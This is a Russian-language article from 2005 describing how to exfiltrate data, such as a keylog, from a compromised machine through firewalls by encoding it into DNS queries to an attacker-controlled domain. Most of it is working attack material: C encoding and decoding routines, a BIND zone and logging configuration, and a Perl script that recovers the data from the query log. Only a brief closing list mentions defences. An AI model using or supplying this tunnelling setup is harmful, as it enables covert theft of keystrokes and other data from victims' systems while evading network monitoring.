03.02.2005

Передача данных с уязвимой машины в обход firewall используя скрытый канал связи

Часто возникает ситуация, когда мы имеем возможность запустить на уязвимой машине нужное ПО, но ввиду того, что она защищена персональным, либо находится за корпоративным firewall'ом, не имеем возможности организовать обмен данными между ею и нашей системой-сервером. В данном случае рассматривается один из множества способов организации обмена данными, к примеру, отправки кейлога системы-клиента на заданный нами сервер, с использованием инкапсуляции их в запросы к подконтрольному нам DNS серверу.

by karazupa@bk.ru

Часто возникает ситуация, когда мы имеем возможность запустить на уязвимой машине нужное ПО, но ввиду того, что она защищена персональным, либо находится за корпоративным firewall'ом, не имеем возможности организовать обмен данными между ею и нашей системой-сервером. В данном случае рассматривается один из множества способов организации обмена данными, к примеру, отправки кейлога системы-клиента на заданный нами сервер, с использованием инкапсуляции их в запросы к подконтрольному нам DNS серверу.

Не буду вдаваться в подробности работы DNS протокола, кому нужно будет, ознакомится с RFC, скажу лишь, что DNS сервера могут выдавать данные о своей зоне, а также осуществлять поиск в пространстве имен, для которых они не являются полномочными с использованием корневых серверов. Именно этой возможностью DNS протокола мы и воспользуемся.

Итак, основная идея состоит в том, чтобы создать рекурсивный запрос, в данном случае, к домену третьего уровня, нашего домена atacker.com, в котором, в кодированном виде передать заданные данные. Максимальная длина передаваемых в одном пакете данных составляет 255-(длина маркера)-(длина atacker.com)-2. Чтобы иметь возможность отличить полезные запросы от "чужих", введем маркер, с которого будет начинаться имя домена третьего уровня, содержащего данные. На стороне сервера включим логирование всех запросов и будем раскодировать их по мере поступления.

Метод кодирования/декодирования был заимствован из утилиты NSTX(http://nstx.dereference.de/) и представляет собой кодирование по таблице символов, разрешенных к использованию в доменных именах, согласно RFC. Код приведен ниже:

unsigned char domain[] = ".atacker.com";
unsigned char map[] = 
            "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_1234567890";
unsigned char *revmap = NULL;

void init_revmap (void)
{
   int i;
   
   revmap = malloc(256);
   
   for (i = 0; i < strlen(map); i++)
     revmap[map[i]] = i;
}

unsigned char *str_encode(unsigned char *data, int len) {
   int i = 0, off = 1, cut = 0;
   static unsigned char *buf = NULL;
   
   if (len % 3)
     cut = 3 - len%3;
   
   buf = realloc(buf, ((len+2)/3)*4+2);
   buf[0] = map[cut];
   while (i < len) {
      buf[off + 0] = map[(data[i] & 252) >> 2];
      buf[off + 1] = map[((data[i] & 3) << 4) | ((data[i+1] & 240) >> 4)];
      buf[off + 2] = map[((data[i+1] & 15) << 2 ) | ((data[i+2] & 192) >> 6)];
      buf[off + 3] = map[(data[i+2] & 63)];
      i += 3;
      off += 4;
   }
   buf[off] = '\0';
   
   return buf;
}

unsigned char *str_decode(unsigned char *data, int *rlen) {
   int i = 0, off = 1;
   int len;
   static unsigned char *buf = NULL;
   
   if (!revmap)
     init_revmap();
   
   len = strlen(data)-1;
   
   buf = realloc(buf, ((len+3)/4)*3);
   
   while (off < len) {
      buf[i+0] = (revmap[data[off]]<<2)|((revmap[data[off+1]]&48)>>4);
      buf[i+1] = ((revmap[data[off+1]]&15)<<4)|((revmap[data[off+2]]&60)>>2);
      buf[i+2] = ((revmap[data[off+2]]&3)<<6)|(revmap[data[off+3]]);
      i += 3;
      off += 4;
   }
   *rlen = i - revmap[data[0]];
   
   return buf;
}
На стороне сервера создается widcard A запись для зоны atacker.com следующего вида:
$TTL		21600		; 6H
@		1D IN SOA	ns1.atacker.com.	hostmaster.atacker.com. (
    		2004120605	;serial
		1H		;refresh
		15M		;retry
	        2W		;expire
	        1H)		;minimum TTL of 1 hour
	        IN NS      ns1.atacker.com.
        	IN NS      ns2.atacker.com.

		IN A       XXX.XXX.XXX.XXX
;		IN HINFO	"Pentium 4" "FreeBSD"
	
ns1	 	IN A	XXX.XXX.XXX.XXX
ns2		IN A	XXX.XXX.XXX.XXX
*		IN A	127.0.0.1
А также включается логирование всех входящих DNS запросов, путем добавления следющего код в секцию logging:
	channel queries_ch {
	file "/var/log/named/queries.log";
	severity info;
	print-time no;
	print-category no;
	};

	category queries { queries_ch; };

Для получения чистых данных на стороне сервера используем следующий код:

#!/usr/bin/perl

my $MARKER = "z0101";

while($str = <STDIN>)
{
if(($str =~ s/^XX\+(.*)\/A\/IN$/$1/))	{
	my @arr = split('/',$str);
	my @rarr = split(/\./,$arr[2]);
	if($rarr[0] =~ s/^$MARKER//) {
	system("./decode $rarr[0]");
	}
	}
}

# cat /var/log/named/queries.log | pl.pl

Примеры кода(C/Perl) можно скачать в приложении к статье.

Итак, столь не хитрым образом получили скрытый канал передачи данных с системы-клиента, на заданный сервер. В дальнейшем, данный метод можно усовершенствовать, добавив возможности передачи файлов, а также, двухстороннего обмена данными между системами, попробовать скрыть реальные DNS сервера.

Преимущества данного метода:
    Обход большинства персональных firewall'ов(Outpost Firewall,Windows Firewall)
    Обход межсетевых экранов
    Практически real-time передача данных от клиента серверу
    Не требует прямого соединения с системой-сервером
    Использование дефолтных DNS серверов системы-клиента, которые обычно разрешают рекурсивные DNS запросы из "своей" сети
    Не требует установки специального DNS демона, либо правки существующих(использует BIND в примере)
Недостатки:
    Требует наличия 2х подконтрольных DNS серверов
    Зависим от DNS registry provider'a, а следовательно, достаточно уязвимы сервера атакующего
Основные методы защиты от атак данного типа:
    Систематический анализ логов корпоративного DNS сервера
    Более тщательная настройка персонального firewall'а
Использованная литература:
или введите имя

CAPTCHA